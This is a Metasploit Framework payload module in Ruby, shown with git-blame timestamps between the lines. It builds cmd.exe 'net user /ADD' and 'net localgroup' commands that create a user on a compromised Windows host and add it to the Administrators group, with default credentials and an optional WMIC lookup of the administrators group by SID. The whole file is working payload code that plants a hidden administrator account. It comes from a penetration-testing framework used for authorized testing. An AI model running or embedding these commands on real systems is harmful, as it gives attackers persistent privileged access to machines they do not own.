2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-07-11 05:15:30 +00:00
|
|
|
require 'msf/core'
|
2006-02-21 03:10:58 +00:00
|
|
|
require 'msf/core/payload/windows/exec'
|
2005-07-11 05:15:30 +00:00
|
|
|
|
|
|
|
|
|
|
|
###
|
|
|
|
#
|
|
|
|
# Extends the Exec payload to add a new user.
|
|
|
|
#
|
|
|
|
###
|
2008-10-02 05:23:59 +00:00
|
|
|
module Metasploit3
|
2005-07-11 05:15:30 +00:00
|
|
|
|
2006-02-21 03:10:58 +00:00
|
|
|
include Msf::Payload::Windows::Exec
|
2005-07-11 05:15:30 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Windows Execute net user /ADD',
|
2012-06-03 07:22:48 +00:00
|
|
|
'Description' => %q{
|
|
|
|
Create a new user and add them to local administration group.
|
|
|
|
|
|
|
|
Note: The specified password is checked for common complexity
|
|
|
|
requirements to prevent the target machine rejecting the user
|
|
|
|
for failing to meet policy requirements.
|
|
|
|
|
|
|
|
Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
|
|
|
|
},
|
2012-06-02 17:41:12 +00:00
|
|
|
'Author' => ['hdm','Chris John Riley'],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-07-11 05:15:30 +00:00
|
|
|
'Platform' => 'win',
|
2005-07-13 18:54:41 +00:00
|
|
|
'Arch' => ARCH_X86,
|
2005-07-11 05:15:30 +00:00
|
|
|
'Privileged' => true))
|
|
|
|
|
|
|
|
# Register command execution options
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
|
2012-06-03 07:22:48 +00:00
|
|
|
OptString.new('PASS', [ true, "The password for this user", "Metasploit$1" ]),
|
2012-06-02 17:41:12 +00:00
|
|
|
OptString.new('CUSTOM', [ false, "Custom group name to be used instead of default", '' ]),
|
|
|
|
OptBool.new('WMIC', [ true, "Use WMIC on the target to resolve administrators group", false ]),
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
|
|
|
OptBool.new("COMPLEXITY", [ true, "Check password for complexity rules", true ]),
|
2008-10-02 05:23:59 +00:00
|
|
|
], self.class)
|
2005-07-11 05:21:19 +00:00
|
|
|
|
|
|
|
# Hide the CMD option...this is kinda ugly
|
|
|
|
deregister_options('CMD')
|
2005-07-11 05:15:30 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Override the exec command string
|
|
|
|
#
|
|
|
|
def command_string
|
|
|
|
user = datastore['USER'] || 'metasploit'
|
|
|
|
pass = datastore['PASS'] || ''
|
2012-06-02 17:41:12 +00:00
|
|
|
cust = datastore['CUSTOM'] || ''
|
|
|
|
wmic = datastore['WMIC']
|
|
|
|
complexity= datastore['COMPLEXITY']
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-09-10 03:29:51 +00:00
|
|
|
if(pass.length > 14)
|
|
|
|
raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2005-07-11 05:15:30 +00:00
|
|
|
|
2012-06-03 18:13:44 +00:00
|
|
|
if complexity and pass !~ /\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/
|
|
|
|
raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"
|
2012-06-02 17:41:12 +00:00
|
|
|
end
|
2005-07-11 05:15:30 +00:00
|
|
|
|
2012-06-02 17:41:12 +00:00
|
|
|
if not cust.empty?
|
|
|
|
print_status("Using custom group name #{cust}")
|
|
|
|
return "cmd.exe /c net user #{user} #{pass} /ADD && " +
|
|
|
|
"net localgroup \"#{cust}\" #{user} /ADD"
|
|
|
|
elsif wmic
|
|
|
|
print_status("Using WMIC to discover the administrative group name")
|
|
|
|
return "cmd.exe /c \"FOR /F \"usebackq tokens=2* skip=1 delims==\" " +
|
|
|
|
"%G IN (`wmic group where sid^='S-1-5-32-544' get name /Value`); do " +
|
|
|
|
"FOR /F \"usebackq tokens=1 delims==\" %X IN (`echo %G`); do " +
|
|
|
|
"net user #{user} #{pass} /ADD && " +
|
|
|
|
"net localgroup \"%X\" #{user} /ADD\""
|
|
|
|
else
|
|
|
|
return "cmd.exe /c net user #{user} #{pass} /ADD && " +
|
|
|
|
"net localgroup Administrators #{user} /ADD"
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
2009-09-10 03:29:51 +00:00
|
|
|
end
|
2012-06-02 17:41:12 +00:00
|
|
|
|